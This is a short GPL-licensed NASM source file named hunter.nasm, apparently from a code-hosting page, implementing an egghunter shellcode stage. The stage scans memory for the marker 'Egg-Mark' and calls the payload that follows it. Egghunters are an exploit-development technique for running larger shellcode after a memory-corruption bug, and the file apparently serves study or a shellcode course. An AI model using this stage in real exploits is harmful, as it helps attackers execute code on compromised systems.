49 lines
1.3 KiB
NASM
49 lines
1.3 KiB
NASM
; This program is free software: you can redistribute it and/or modify
|
|
; it under the terms of the GNU General Public License as published by
|
|
; the Free Software Foundation, either version 3 of the License, or
|
|
; (at your option) any later version.
|
|
;
|
|
; This program is distributed in the hope that it will be useful,
|
|
; but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
; GNU General Public License for more details.
|
|
;
|
|
; You should have received a copy of the GNU General Public License
|
|
; along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
;
|
|
;
|
|
; Filename: hunter.nasm
|
|
; Author: Andrey Arapov <andrey.arapov@gmail.com>
|
|
; 2013 March
|
|
;
|
|
;
|
|
|
|
section .data
|
|
egg1 equ "Egg-" ; DWORD Egg marker part1
|
|
egg2 equ "Mark" ; DWORD Egg marker part2
|
|
|
|
|
|
section .text
|
|
global _start
|
|
|
|
|
|
_start:
|
|
jmp short huntersEnd
|
|
|
|
continue:
|
|
pop eax ; Now EAX points at hunters End
|
|
|
|
; Searching for the Egg marker
|
|
next:
|
|
inc eax ; Searching forward (can also try dec eax)
|
|
isEgg:
|
|
cmp dword [eax-8], egg1 ; Checking if we can see egg1
|
|
jne next ; If not, continuing to search
|
|
cmp dword [eax-4], egg2
|
|
jne next
|
|
|
|
call eax ; Once found, we call our payload
|
|
|
|
huntersEnd:
|
|
call continue
|